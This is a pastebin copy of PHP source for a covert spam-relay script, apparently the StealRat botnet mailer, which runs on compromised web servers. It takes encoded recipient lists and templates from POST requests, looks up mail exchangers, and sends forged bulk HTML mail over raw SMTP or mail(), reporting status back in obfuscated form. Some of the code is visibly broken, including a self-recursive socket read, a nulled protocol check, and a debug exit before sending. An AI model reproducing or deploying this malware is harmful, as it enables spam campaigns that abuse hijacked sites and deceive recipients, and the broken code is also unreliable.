- $r76="F[<PAlDf|]}M@~79/O8Kx\rH6r&-c5k\n3X,YzhQ> Cp\\wUu2jGoB;0i_SN\tn%Vg)ZI^sTRyvL{\$:=1*mE+JW(q4.t'`a!\"#edb?";
- // @error_reporting(NULL);
- // @ini_set("error_log", NULL);
- // @ini_set("log_errors", 0);
- define("DNS_TYPE_MX", 0x000F);
- define("DNS_TYPE_A", 0x0001);
- define("DNS_TYPE_NS", 0x0002);
- define("DNS_STEP_QESTION", 1);
- define("DNS_STEP_ANSWER", 2);
- define("DNS_STEP_AUTHORITY", 3);
- define("DNS_STEP_ADDITIONAL", 4);
- define("SOCKET_TYPE_SOCKET", 1);
- define("SOCKET_TYPE_FSOCKET", 2);
- define("SOCKET_TYPE_STREAM", 4);
- define("SOCKET_TYPE_NO", 5);
- define("SOCKET_PROTO_TCP", 1);
- define("SOCKET_PROTO_UDP", 2);
- define("STEP_CONNECT", 0);
- define("STEP_CONNECTED", 1);
- define("STEP_EHLO", 2);
- define("STEP_MAILFROM", 3);
- define("STEP_RCPTTO", 4);
- define("STEP_DATA", 5);
- define("STEP_BODY", 6);
- define("STEP_QUIT", 7);
- define("STEP_COMPLETED", 8);
- determine_socket_type($r76, NULL);
- $senderEmailData = array(
- "toList" => "",
- "fromLogin" => "",
- "fromName" => "",
- "subjTempl" => "",
- "bodyTempl" => "",
- "hostFrom" => ""
- );
- if (FALSE == getDataFromPost($r76, $senderEmailData)) {
- echo PHP_OS . "+" . md5(0987654321) . "+01+[[]]
- ";
- exit;
- }
- $emailDataList = array();
- for ($i = 0; $i < count($senderEmailData["toList"]); $i++) {
- $emailData = array(
- "id" => $i,
- "g_mailto" => "",
- "g_mailto+" => "",
- "g_mailfrom" => "",
- "g_mailfrom+" => "",
- "g_domainto" => "",
- "g_domainfrom" => "",
- "g_namefirst" => "",
- "g_namelast" => "",
- "g_body" => "",
- "g_subject" => "",
- "g_fff" => FALSE,
- "g_header" => "",
- "g_headerfrom" => "",
- "s_header" => "",
- "s_mxhost" => "",
- "s_mxaddr" => FALSE,
- "s_sock" => FALSE,
- "s_time" => time(),
- "s_step" => constant("STEP_CONNECT"),
- "s_port" => 25,
- "s_datain" => "",
- "s_dataout" => "",
- "s_trig" => FALSE,
- "l_err" => "",
- "l_done" => FALSE,
- "l_way" => 0, // 0 for not done, 1 for step?, 2 for using mail()
- "l_failsmtp" => FALSE,
- "l_smtp_end" => FALSE
- );
- if (FALSE == populateEmailData($r76, $senderEmailData["toList"][$i], $senderEmailData, $emailData)) {
- echo PHP_OS . "+" . md5(1111111111) . "+02+[[" . encode_data($r76, $senderEmailData["toList"][$i]) . "]]
- ";
- continue;
- }
- $emailDataList[] = $emailData;
- }
- print_r($emailDataList);
- exit;
- processSendEmails($r76, $emailDataList); // first send by sockets
- sendByMail($r76, $emailDataList); // then fall back to mail()
- printStatus($r76, $emailDataList); // print status
- exit;
- function printStatus($r76, $emailDataList)
- {
- $successes = 0;
- $successMethods = "";
- for ($i = 0; $i < count($emailDataList); $i++) {
- if ($emailDataList[$i]["l_failsmtp"] == TRUE) {
- echo PHP_OS . "+" . md5(2222222222) . "+04+[[" . encode_data($r76, $emailDataList[$i]["g_mailto"] . " :: " . $emailDataList[$i]["l_err"]) . "]]
- ";
- }
- if ($emailDataList[$i]["l_done"] == TRUE) {
- $successMethods .= $emailDataList[$i]["l_way"];
- $successes++;
- }
- }
- if ($successes == 0) {
- echo PHP_OS . "+" . md5(0987654321) . "+04+[[]]
- ";
- } else {
- echo "OK+" . md5(1234567890) . "+" . $successes . "+" . count($emailDataList) . "[" . $successMethods . "]
- ";
- }
- }
- function sendByMail($r76, &$emailDataList)
- {
- if (!function_exists("mail")) {
- return FALSE;
- }
- for ($i = 0; $i < count($emailDataList); $i++) {
- if ($emailDataList[$i]["l_done"] == TRUE) {
- continue;
- }
- if ($emailDataList[$i]["g_fff"]) {
- if (@mail($emailDataList[$i]["g_mailto+"], $emailDataList[$i]["g_subject"], $emailDataList[$i]["g_body"], $emailDataList[$i]["g_headerfrom"] . $emailDataList[$i]["g_header"], "-f" . $emailDataList[$i]["g_mailfrom"])) {
- $emailDataList[$i]["l_done"] = TRUE;
- $emailDataList[$i]["l_way"] = 2;
- } else {
- $emailDataList[$i]["l_done"] = FALSE;
- }
- } else {
- if (@mail($emailDataList[$i]["g_mailto+"], $emailDataList[$i]["g_subject"], $emailDataList[$i]["g_body"], $emailDataList[$i]["g_header"])) {
- $emailDataList[$i]["l_done"] = TRUE;
- $emailDataList[$i]["l_way"] = 2;
- } else {
- $emailDataList[$i]["l_done"] = FALSE;
- }
- }
- }
- }
- function processSendEmails($r76, &$emailDataList)
- {
- // while at least one socket in email list is opened...
- while (hasOpenedSockets($r76, $emailDataList)) {
- // process the emails in the list
- processEmailSending($r76, $emailDataList);
- usleep(25000);
- }
- }
- function smtpCloseConnection($r76, &$emailDataList, $emailId, $flunj82, $mavcb77)
- {
- if ($emailDataList[$emailId]["s_sock"] != FALSE) {
- close_connection($r76, $emailDataList[$emailId]["s_sock"]);
- }
- $emailDataList[$emailId]["l_err"] = "[" . $emailDataList[$emailId]["s_step"] . "]" . trim(preg_replace("/
- /", " ", $flunj82));
- $emailDataList[$emailId]["l_failsmtp"] = $mavcb77;
- $emailDataList[$emailId]["l_smtp_end"] = TRUE;
- return;
- }
- function processEmailSending($r76, &$emailDataList)
- {
- $startTime = time();
- foreach ($emailDataList as $emailId => $emailData) {
- if ($emailData["l_smtp_end"] == TRUE) {
- continue;
- }
- if ($emailData["s_time"] + 20 < $startTime) {
- if ($emailDataList[$emailId]["s_step"] == constant("STEP_CONNECT") && $emailDataList[$emailId]["s_port"] != 587) {
- close_connection($r76, $emailDataList[$emailId]["s_sock"]);
- $emailDataList[$emailId]["s_port"] = 587;
- $emailDataList[$emailId]["s_time"] = time();
- continue;
- }
- smtpCloseConnection($r76, $emailDataList, $emailId, "timeout", FALSE);
- continue;
- }
- switch ($emailDataList[$emailId]["s_step"]) {
- case constant("STEP_CONNECT"):
- if ($emailDataList[$emailId]["s_mxaddr"] == FALSE) {
- $emailDataList[$emailId]["s_mxaddr"] = @gethostbyname($emailDataList[$emailId]["s_mxhost"]);
- if (!@preg_match("/([0-9]{1,3}\.?){4}/", $emailDataList[$emailId]["s_mxaddr"])) {
- smtpCloseConnection($r76, $emailDataList, $emailId, "resolve mx", FALSE);
- break;
- }
- }
- $errno = 0;
- $errstr = '';
- $emailDataList[$emailId]["s_sock"] = socketFactory($r76, $emailDataList[$emailId]["s_sock"], constant("SOCKET_PROTO_TCP"), $emailDataList[$emailId]["s_mxaddr"], $emailDataList[$emailId]["s_port"], 2, $errno, $errstr, TRUE);
- if ($emailDataList[$emailId]["s_sock"] == FALSE) {
- break;
- }
- if ($errno == 0 || $errno === 56 || $errno === 10056) {
- $emailDataList[$emailId]["s_step"] = constant("STEP_CONNECTED");
- wdtjf68($r76, $emailDataList[$emailId]["s_sock"], 15);
- $emailDataList[$emailId]["s_time"] = time();
- }
- break;
- case constant("STEP_CONNECTED"):
- if (rxrmp70($r76, $emailDataList, $emailId)) {
- $emailDataList[$emailId]["s_datain"] = "";
- $emailDataList[$emailId]["s_dataout"] = "EHLO " . $emailDataList[$emailId]["g_domainfrom"] . "
- ";
- $emailDataList[$emailId]["s_step"] = constant("STEP_EHLO");
- $emailDataList[$emailId]["s_time"] = time();
- }
- break;
- case constant("STEP_EHLO"):
- if (prcux47($r76, $emailDataList, $emailId)) {
- if (rxrmp70($r76, $emailDataList, $emailId)) {
- if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 250) {
- smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE);
- break;
- }
- $emailDataList[$emailId]["s_datain"] = "";
- $emailDataList[$emailId]["s_dataout"] = "MAIL FROM:<" . $emailDataList[$emailId]["g_mailfrom"] . ">
- ";
- $emailDataList[$emailId]["s_step"] = constant("STEP_MAILFROM");
- $emailDataList[$emailId]["s_time"] = time();
- }
- break;
- }
- break;
- case constant("STEP_MAILFROM"):
- if (prcux47($r76, $emailDataList, $emailId)) {
- if (rxrmp70($r76, $emailDataList, $emailId)) {
- if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 250) {
- smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE);
- break;
- }
- $emailDataList[$emailId]["s_datain"] = "";
- $emailDataList[$emailId]["s_dataout"] = "RCPT TO:<" . $emailDataList[$emailId]["g_mailto"] . ">
- ";
- $emailDataList[$emailId]["s_step"] = constant("STEP_RCPTTO");
- $emailDataList[$emailId]["s_time"] = time();
- }
- break;
- }
- break;
- case constant("STEP_RCPTTO"):
- if (prcux47($r76, $emailDataList, $emailId)) {
- if (rxrmp70($r76, $emailDataList, $emailId)) {
- if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 250 && substr($emailDataList[$emailId]["s_datain"], 0, 3) != 251) {
- smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE);
- break;
- }
- $emailDataList[$emailId]["s_datain"] = "";
- $emailDataList[$emailId]["s_dataout"] = "DATA
- ";
- $emailDataList[$emailId]["s_step"] = constant("STEP_DATA");
- $emailDataList[$emailId]["s_time"] = time();
- }
- break;
- }
- break;
- case constant("STEP_DATA"):
- if (prcux47($r76, $emailDataList, $emailId)) {
- if (rxrmp70($r76, $emailDataList, $emailId)) {
- if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 354) {
- smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE);
- break;
- }
- $emailDataList[$emailId]["s_datain"] = "";
- $emailDataList[$emailId]["s_dataout"] = $emailDataList[$emailId]["s_header"] . "
- " . $emailDataList[$emailId]["g_body"] . "
- .
- ";
- $emailDataList[$emailId]["s_step"] = constant("STEP_BODY");
- $emailDataList[$emailId]["s_time"] = time();
- }
- break;
- }
- break;
- case constant("STEP_BODY"):
- if (prcux47($r76, $emailDataList, $emailId)) {
- if (rxrmp70($r76, $emailDataList, $emailId)) {
- if (substr($emailDataList[$emailId]["s_datain"], 0, 3) != 250) {
- smtpCloseConnection($r76, $emailDataList, $emailId, $emailDataList[$emailId]["s_datain"], TRUE);
- break;
- }
- $emailDataList[$emailId]["s_datain"] = "";
- $emailDataList[$emailId]["s_dataout"] = "QUIT
- ";
- $emailDataList[$emailId]["s_step"] = constant("STEP_QUIT");
- $emailDataList[$emailId]["s_time"] = time();
- $emailDataList[$emailId]["l_done"] = TRUE;
- $emailDataList[$emailId]["l_way"] = 1;
- }
- break;
- }
- break;
- case constant("STEP_QUIT"):
- if (prcux47($r76, $emailDataList, $emailId)) {
- smtpCloseConnection($r76, $emailDataList, $emailId, "", FALSE);
- }
- break;
- }
- }
- }
- function rxrmp70($r76, &$emailDataList, $emailId)
- {
- $errno = 0;
- $errstr = "";
- if ($emailDataList[$emailId]["s_trig"] == FALSE) {
- if (strlen($emailDataList[$emailId]["s_datain"]) != 0) {
- return TRUE;
- }
- return FALSE;
- }
- $data = read_socket_data($r76, $emailDataList[$emailId]["s_sock"], 4086, $errno, $errstr);
- if ($data == FALSE || $data == "") {
- if ($errno != 35 && $errno != 10035 && $errno != 11 && $errno != 10060) {
- smtpCloseConnection($r76, $emailDataList, $emailId, $errstr, FALSE);
- return FALSE;
- }
- if (strlen($emailDataList[$emailId]["s_datain"]) != 0) {
- return TRUE;
- }
- return FALSE;
- }
- $emailDataList[$emailId]["s_datain"] = $data;
- return FALSE;
- }
- function prcux47($r76, &$emailDataList, $emailId)
- {
- $errno = 0;
- $errstr = "";
- if (strlen($emailDataList[$emailId]["s_dataout"]) == 0) {
- return TRUE;
- }
- $data = write_socket_data($r76, $emailDataList[$emailId]["s_sock"], $emailDataList[$emailId]["s_dataout"], $errno, $errstr);
- if ($data == FALSE) {
- if ($errno != 35 && $errno != 10035 && $errno != 11 && $errno != 10060) {
- smtpCloseConnection($r76, $emailDataList, $emailId, $errstr, FALSE);
- }
- return FALSE;
- }
- $emailDataList[$emailId]["s_dataout"] = substr($emailDataList[$emailId]["s_dataout"], $data);
- if (strlen($emailDataList[$emailId]["s_dataout"]) == 0) {
- return TRUE;
- }
- return FALSE;
- }
- function hasOpenedSockets($r76, &$emailDataList)
- {
- $socketData = FALSE;
- if (constant("SOCKET_TYPE") != constant("SOCKET_TYPE_SOCKET")) {
- foreach (array_keys($emailDataList) as $emailId) {
- if ($emailDataList[$emailId]["l_smtp_end"] != TRUE) {
- $emailDataList[$emailId]["s_trig"] = TRUE;
- $socketData = TRUE;
- }
- }
- return $socketData;
- }
- $fwcsz21 = array();
- foreach (array_keys($emailDataList) as $emailId) {
- if ($emailDataList[$emailId]["l_smtp_end"] != TRUE) {
- if ($emailDataList[$emailId]["s_sock"] == 0 || $emailDataList[$emailId]["s_step"] == constant("STEP_CONNECT")) {
- $emailDataList[$emailId]["s_trig"] = TRUE;
- } else {
- $emailDataList[$emailId]["s_trig"] = FALSE;
- $fwcsz21[] = $emailDataList[$emailId]["s_sock"];
- }
- $socketData = TRUE;
- }
- }
- if (count($fwcsz21) == 0) {
- return $socketData;
- }
- // watch for changes to all opened sockets and updates the email list of sockets accordinly.
- $zkvhr54 = @socket_select($fwcsz21, $kllzd89 = NULL, $ccvhx50 = NULL, 0);
- if ($zkvhr54 == FALSE || $zkvhr54 == 0) {
- return $socketData;
- }
- foreach (array_keys($emailDataList) as $emailId) {
- $emailDataList[$emailId]["s_trig"] = FALSE;
- foreach ($fwcsz21 as $xoloh2) {
- if ($emailDataList[$emailId]["s_sock"] == $xoloh2) {
- $emailDataList[$emailId]["s_trig"] = TRUE;
- break;
- }
- }
- }
- return $socketData;
- }
- function determine_socket_type($r76, $foo)
- {
- if (function_exists("socket_create") && function_exists("socket_connect") && function_exists("read_socket_data") && function_exists("socket_write")) {
- define("SOCKET_TYPE", constant("SOCKET_TYPE_SOCKET"));
- return TRUE;
- }
- if (function_exists("fsockopen")) {
- define("SOCKET_TYPE", constant("SOCKET_TYPE_FSOCKET"));
- return TRUE;
- }
- if (function_exists("stream_socket_client")) {
- define("SOCKET_TYPE", constant("SOCKET_TYPE_STREAM"));
- return TRUE;
- }
- define("SOCKET_TYPE", constant("SOCKET_TYPE_NO"));
- return FALSE;
- }
- function populateEmailData($r76, $recipientData, $senderEmailData, &$emailData)
- {
- $qivuk92 = array();
- if (FALSE === @preg_match("/(.*?;)?(.*?;)?(.+@(.+)?);?/", $recipientData, $qivuk92)) {
- return FALSE;
- }
- if (!isset($qivuk92) || count($qivuk92) != 5) {
- return FALSE;
- }
- $emailData["g_namefirst"] = @ucfirst(str_replace(";", "", $qivuk92[1]));
- $emailData["g_namelast"] = @ucfirst(str_replace(";", "", $qivuk92[2]));
- $emailData["g_mailto"] = str_replace(";", "", $qivuk92[3]);
- $emailData["g_domainto"] = str_replace(";", "", $qivuk92[4]);
- if (!isset($emailData["g_mailto"]) || $emailData["g_mailto"] == "") {
- return FALSE;
- }
- if (!isset($emailData["g_domainto"]) || $emailData["g_domainto"] == "") {
- return FALSE;
- }
- if (isset($emailData["g_namefirst"]) && $emailData["g_namefirst"] != "") {
- $emailData["g_mailto+"] = $emailData["g_namefirst"] . " " . $emailData["g_namelast"] . " <" . $emailData["g_mailto"] . ">";
- } else {
- $emailData["g_mailto+"] = $emailData["g_mailto"];
- }
- $emailData["g_domainfrom"] = $senderEmailData["hostFrom"];
- if (preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $senderEmailData["hostFrom"]) || @ini_get("safe_mode")) {
- $emailData["g_fff"] = FALSE;
- } else {
- $emailData["g_fff"] = TRUE;
- }
- $emailData["g_mailfrom"] = $senderEmailData["fromLogin"] . "@" . $senderEmailData["hostFrom"];
- if (isset($senderEmailData["fromName"]) && $senderEmailData["fromName"] != "") {
- $emailData["g_mailfrom+"] = $senderEmailData["fromName"] . " <" . $emailData["g_mailfrom"] . ">";
- } else {
- $emailData["g_mailfrom+"] = $emailData["g_mailfrom"];
- }
- $emailData["s_mxhost"] = getMXHosts($r76, $emailData["g_domainto"]);
- $emailData["g_subject"] = @str_replace("%R_NAME%", $emailData["g_namefirst"], $senderEmailData["subjTempl"]);
- $emailData["g_subject"] = @str_replace("%R_LNAME%", $emailData["g_namelast"], $emailData["g_subject"]);
- $emailData["g_body"] = @str_replace("%R_NAME%", $emailData["g_namefirst"], $senderEmailData["bodyTempl"]);
- $emailData["g_body"] = @str_replace("%R_LNAME%", $emailData["g_namelast"], $emailData["g_body"]);
- $emailData["g_body"] = @str_replace("%MAIL_EN%", encode_data($r76, $emailData["g_mailto"]), $emailData["g_body"]);
- $emailData["g_header"] = "X-Priority: 3 (Normal)
- ";
- $emailData["g_header"] .= "MIME-Version: 1.0
- ";
- $emailData["g_header"] .= "Content-Type: text/html;
- charset=\"iso-8859-1\"
- ";
- $emailData["g_header"] .= "Content-Transfer-Encoding: 8bit
- ";
- $emailData["g_headerfrom"] = "From: " . $emailData["g_mailfrom+"] . "
- ";
- $emailData["g_headerfrom"] .= "Reply-To:" . $emailData["g_mailfrom+"] . "
- ";
- $emailData["s_header"] = "Date: " . @date("D, j M Y G:i:s O") . "
- ";
- $emailData["s_header"] .= $emailData["g_headerfrom"];
- $emailData["s_header"] .= "Message-ID: <" . preg_replace("/(.{7})(.{5})(.{2}).*/", "$1-$2-$3", md5(time())) . "@" . $senderEmailData["hostFrom"] . ">
- ";
- $emailData["s_header"] .= "To: " . $emailData["g_mailto+"] . "
- ";
- $emailData["s_header"] .= "Subject: " . $emailData["g_subject"] . "
- ";
- $emailData["s_header"] .= $emailData["g_subject"];
- return TRUE;
- }
- function getMXHosts($r76, $hostname)
- {
- $mlopr36 = array();
- $vcnaa29 = array();
- if (function_exists("getmxrr")) {
- @getmxrr($hostname, $mlopr36, $vcnaa29);
- } else {
- if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_NO")) {
- return FALSE;
- }
- $zkvhr54 = resolveDnsName($r76, $hostname, constant("DNS_TYPE_MX"));
- if ($zkvhr54 == FALSE || !isset($zkvhr54["ans"])) {
- return FALSE;
- }
- foreach ($zkvhr54["ans"] as $txows40) {
- if ($txows40["type"] == constant("DNS_TYPE_MX")) {
- $mlopr36[] = $txows40["data"];
- $vcnaa29[] = $txows40["preference"];
- }
- }
- }
- if (count($mlopr36) == 0) {
- return FALSE;
- }
- $wtqra76 = array_keys($vcnaa29, min($vcnaa29));
- return $mlopr36[$wtqra76[0]];
- }
- function getDataFromPost($r76, &$senderEmailData)
- {
- if (count($_POST) < 2) {
- return FALSE;
- }
- $messageEncoded = false;
- $listPostKey = $dataPostKey = "";
- foreach (array_keys($_POST) as $key) {
- if ($key[0] == "l") {
- $listPostKey = $key;
- }
- if ($key[0] == "d") {
- $dataPostKey = $key;
- }
- if ($key[0] == "e") {
- $messageEncoded = true;
- }
- }
- if ($listPostKey == "" || $dataPostKey == "") {
- return FALSE;
- }
- $postedRecipients = getPostData($r76, $listPostKey, $messageEncoded);
- $postedData = getPostData($r76, $dataPostKey, $messageEncoded);
- if ($postedRecipients == FALSE || $postedData == FALSE) {
- return FALSE;
- }
- $senderEmailData["toList"] = @preg_split("/#/", $postedRecipients);
- $senderEmailData["fromLogin"] = $senderEmailData["fromName"] = $senderEmailData["subjTempl"] = $senderEmailData["bodyTempl"] = "";
- $qivuk92 = array();
- if (FALSE !== @preg_match("/<USER>(.*?)<\/USER>/ism", $postedData, $qivuk92) && isset($qivuk92) && count($qivuk92) > 1) {
- $senderEmailData["fromLogin"] = $qivuk92[1];
- }
- if (FALSE !== @preg_match("/<NAME>(.*?)<\/NAME>/ism", $postedData, $qivuk92) && isset($qivuk92) && count($qivuk92) > 1) {
- $senderEmailData["fromName"] = $qivuk92[1];
- }
- if (FALSE !== @preg_match("/<SUBJ>(.*?)<\/SUBJ>/ism", $postedData, $qivuk92) && isset($qivuk92) && count($qivuk92) > 1) {
- $senderEmailData["subjTempl"] = $qivuk92[1];
- }
- if (FALSE !== @preg_match("/<SBODY>(.*?)<\/SBODY>/ism", $postedData, $qivuk92) && isset($qivuk92) && count($qivuk92) > 1) {
- $senderEmailData["bodyTempl"] = $qivuk92[1];
- }
- $senderEmailData["hostFrom"] = @preg_replace("/^(www|ftp)\./i", '', $_SERVER["HTTP_HOST"]);
- return TRUE;
- }
- function getPostData($r76, $postIndex, $messageEncoded)
- {
- if (!isset($postIndex) || $postIndex == "") {
- return FALSE;
- }
- $message = @$_POST[$postIndex];
- if ($messageEncoded) {
- $message = messageDecode($r76, $message);
- for ($i = 0; $i < strlen($message); $i++) {
- $message[$i] = chr(ord($message[$i]) ^ 2);
- }
- }
- return urldecode(stripslashes($message));
- }
- function messageDecode($r76, $rxuwy6)
- {
- $data = "";
- for ($i = 0; $i < 256; $i++) {
- $vefvn90[$i] = chr($i);
- }
- $adcpo58 = array_flip(preg_split("//", "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", -1, 1));
- $rfsny13 = array();
- preg_match_all("([A-z0-9+\/]{1,4})", $rxuwy6, $rfsny13);
- foreach ($rfsny13[0] as $dkpwg91) {
- $omqhl54 = 0;
- for ($i = 0; isset($dkpwg91[$i]); $i++) {
- $omqhl54 = ($omqhl54 << 6) + $adcpo58[$dkpwg91[$i]];
- if ($i > 0) {
- $data .= $vefvn90[$omqhl54 >> (4 - (2 * ($i - 1)))];
- $omqhl54 = $omqhl54 & (0xf >> (2 * ($i - 1)));
- }
- }
- }
- return $data;
- }
- function encode_data($r76, $input)
- {
- for ($i = 0; $i < strlen($input); $i++) {
- $input[$i] = chr(ord($input[$i]) ^ 2);
- }
- return base64_encode($input);
- }
- function socketFactory($r76, $fsock, $socketProtocol, $address, $port, $timeout, &$errno, &$errstr, $nonblock = false)
- {
- $protocol = "";
- $socketProtocol = NULL;
- $socketType = NULL;
- $errno = 0;
- $errstr = "";
- if ($socketProtocol == constant("SOCKET_PROTO_TCP")) {
- $protocol = "tcp";
- $socketProtocol = SOL_TCP;
- $socketType = SOCK_STREAM;
- } else if ($socketProtocol == constant("SOCKET_PROTO_UDP")) {
- $protocol = "udp";
- $socketType = SOCK_DGRAM;
- $socketProtocol = SOL_UDP;
- } else {
- $errstr = "Error: invalid protocol";
- return FALSE;
- }
- switch (constant("SOCKET_TYPE")) {
- case constant("SOCKET_TYPE_SOCKET"):
- if ($fsock == FALSE) {
- $fsock = @socket_create(AF_INET, $socketType, $socketProtocol);
- if ($fsock == FALSE) {
- $errno = socket_last_error();
- $errstr = socket_strerror($errno);
- break;
- }
- socket_set_option($fsock, SOL_SOCKET, SO_REUSEADDR, 1);
- socket_set_option($fsock, SOL_SOCKET, SO_RCVTIMEO, array(
- "sec" => $timeout,
- "usec" => 0
- ));
- socket_set_option($fsock, SOL_SOCKET, SO_SNDTIMEO, array(
- "sec" => $timeout,
- "usec" => 0
- ));
- if ($nonblock) {
- socket_set_nonblock($fsock);
- }
- }
- if (!@socket_connect($fsock, $address, $port)) {
- $errno = socket_last_error($fsock);
- $errstr = socket_strerror($errno);
- }
- if ($nonblock) {
- socket_set_nonblock($fsock);
- }
- break;
- case constant("SOCKET_TYPE_FSOCKET"):
- $fsock = @fsockopen($protocol . "://" . $address, $port, $errno, $errstr, $timeout);
- if ($fsock && $nonblock) {
- @stream_set_blocking($fsock, 0);
- }
- @stream_set_timeout($fsock, $timeout);
- break;
- case constant("SOCKET_TYPE_STREAM"):
- $fsock = @stream_socket_client($protocol . "://" . $address . ":" . $port, $errno, $errstr, $timeout);
- if ($fsock && $nonblock) {
- @stream_set_blocking($fsock, 0);
- }
- @stream_set_timeout($fsock, $timeout);
- break;
- default:
- $errstr = "Error: invalid socket type";
- return FALSE;
- }
- return $fsock;
- }
- function close_connection($r76, &$fsock)
- {
- if ($fsock == FALSE) {
- return;
- }
- if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) {
- @socket_close($fsock);
- } else {
- @fclose($fsock);
- }
- $fsock = FALSE;
- return;
- }
- function read_socket_data($r76, $fsock, $bytesToRead, &$errno, &$errstr)
- {
- if ($fsock == FALSE) {
- return FALSE;
- }
- if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) {
- $socketData = @read_socket_data($fsock, $bytesToRead, PHP_BINARY_READ);
- if ($socketData == FALSE) {
- $errno = socket_last_error($fsock);
- $errstr = socket_strerror($errno);
- }
- } else {
- if (@feof($fsock)) {
- return FALSE;
- }
- $socketData = @fread($fsock, $bytesToRead);
- if (strlen($socketData) == 0) {
- $errno = 35;
- }
- }
- return $socketData;
- }
- function write_socket_data($r76, $fsock, $data, &$errno, &$errstr)
- {
- if ($fsock == FALSE) {
- return FALSE;
- }
- if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) {
- $socketData = @socket_write($fsock, $data);
- if ($socketData == FALSE) {
- $errno = socket_last_error($fsock);
- $errstr = socket_strerror($errno);
- }
- } else {
- if (@feof($fsock)) {
- return FALSE;
- }
- $socketData = @fwrite($fsock, $data);
- }
- return $socketData;
- }
- function wdtjf68($r76, $fsock, $timeout)
- {
- if ($fsock == FALSE) {
- return FALSE;
- }
- if (constant("SOCKET_TYPE") == constant("SOCKET_TYPE_SOCKET")) {
- @socket_set_option($fsock, SOL_SOCKET, SO_RCVTIMEO, array(
- "sec" => $timeout,
- "usec" => 0
- ));
- @socket_set_option($fsock, SOL_SOCKET, SO_SNDTIMEO, array(
- "sec" => $timeout,
- "usec" => 0
- ));
- } else {
- @stream_set_timeout($fsock, $timeout);
- }
- return TRUE;
- }
- function resolveDnsName($r76, $hostname, $jvanz2)
- {
- $errno = 0;
- $errstr = "";
- $fsock = socketFactory($r76, FALSE, constant("SOCKET_PROTO_UDP"), "8.8.8.8", 53, 10, $errno, $errstr);
- if (!$fsock) {
- return FALSE;
- }
- $lsxth41 = rand(0x0001, 0xFFFE);
- $uamee6 = explode("J", $hostname);
- $payload = pack("nnnnnn", $lsxth41, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000);
- foreach ($uamee6 as $sahcc1) {
- $payload .= pack("Ca*", strlen($sahcc1), $sahcc1);
- }
- $payload .= pack("Cnn", 0x00, $jvanz2, 0x0001);
- $socketStatus = write_socket_data($r76, $fsock, $payload, $errno, $errstr);
- if (!$socketStatus || $socketStatus != strlen($payload)) {
- close_connection($r76, $fsock);
- return FALSE;
- }
- $dnsResponse = read_socket_data($r76, $fsock, 4086, $errno, $errstr);
- if ($dnsResponse == FALSE || strlen($dnsResponse) < 12) {
- close_connection($r76, $fsock);
- return FALSE;
- }
- $eynrg66 = unpack("ntid/nflags/nque/nans/nauth/nadd", substr($dnsResponse, 0, 12));
- $zjthw11 = 12;
- $dnsData = array(
- "header" => $eynrg66
- );
- for ($i = constant("DNS_STEP_QESTION"); $i <= constant("DNS_STEP_ADDITIONAL"); $i++) {
- $trxcp25 = '';
- switch ($i) {
- case constant("DNS_STEP_QESTION"):
- $trxcp25 = "que";
- break;
- case constant("DNS_STEP_ANSWER"):
- $trxcp25 = "ans";
- break;
- case constant("DNS_STEP_AUTHORITY"):
- $trxcp25 = "auth";
- break;
- case constant("DNS_STEP_ADDITIONAL"):
- $trxcp25 = "add";
- break;
- }
- for ($ybjpw87 = 0; $ybjpw87 < $eynrg66[$trxcp25]; $ybjpw87++) {
- $dnsRecordData["name"] = cgzhg7($r76, $zjthw11, $dnsResponse);
- if ($i == constant("DNS_STEP_QESTION")) {
- $dnsRecordData = array_merge($dnsRecordData, unpack("ntype/nclass", substr($dnsResponse, $zjthw11, 4)));
- $zjthw11 += 4;
- } else {
- $dnsRecordData = array_merge($dnsRecordData, unpack("ntype/nclass/Nttl/ndatalength", substr($dnsResponse, $zjthw11, 10)));
- $zjthw11 += 10;
- switch ($dnsRecordData["type"]) {
- case constant("DNS_TYPE_MX"):
- $dnsRecordData = array_merge($dnsRecordData, unpack("npreference", substr($dnsResponse, $zjthw11, 2)));
- $zjthw11 += 2;
- $dnsRecordData["data"] = cgzhg7($r76, $zjthw11, $dnsResponse);
- break;
- case constant("DNS_TYPE_A"):
- $dnsRecordData = array_merge($dnsRecordData, unpack("Ndata", substr($dnsResponse, $zjthw11, 4)));
- $zjthw11 += 4;
- $dnsRecordData["ip"] = long2ip($dnsRecordData["data"]);
- break;
- case constant("DNS_TYPE_NS"):
- $dnsRecordData["data"] = cgzhg7($r76, $zjthw11, $dnsResponse);
- break;
- default:
- $zjthw11 += $dnsRecordData["datalength"];
- }
- }
- $dnsData[$trxcp25][] = $dnsRecordData;
- }
- }
- return $dnsData;
- }
- function cgzhg7($r76, &$kwgra59, $dnsResponse)
- {
- $data = "";
- $svrpc42 = $kwgra59;
- while (ord($dnsResponse[$svrpc42]) != 0) {
- if (ord($dnsResponse[$svrpc42]) == 0xC0) {
- if ($svrpc42 >= $kwgra59) {
- $kwgra59 += 2;
- }
- $svrpc42 = ord($dnsResponse[$svrpc42 + 1]);
- continue;
- }
- if (strlen($data) > 0) {
- $data .= "";
- }
- $data .= substr($dnsResponse, $svrpc42 + 1, ord($dnsResponse[$svrpc42]));
- $svrpc42 += ord($dnsResponse[$svrpc42]) + 1;
- if ($svrpc42 > $kwgra59) {
- $kwgra59 = $svrpc42;
- }
- }
- if ($svrpc42 >= $kwgra59) {
- $kwgra59 += 1;
- }
- return $data;
- }
Untitled
From stealrat-mailer-formatted.php, 2 Years ago, written in Plain Text, viewed 138 times.
URL https://paste.steamr.com/view/56d1c67e
Embed
Download Paste or View Raw
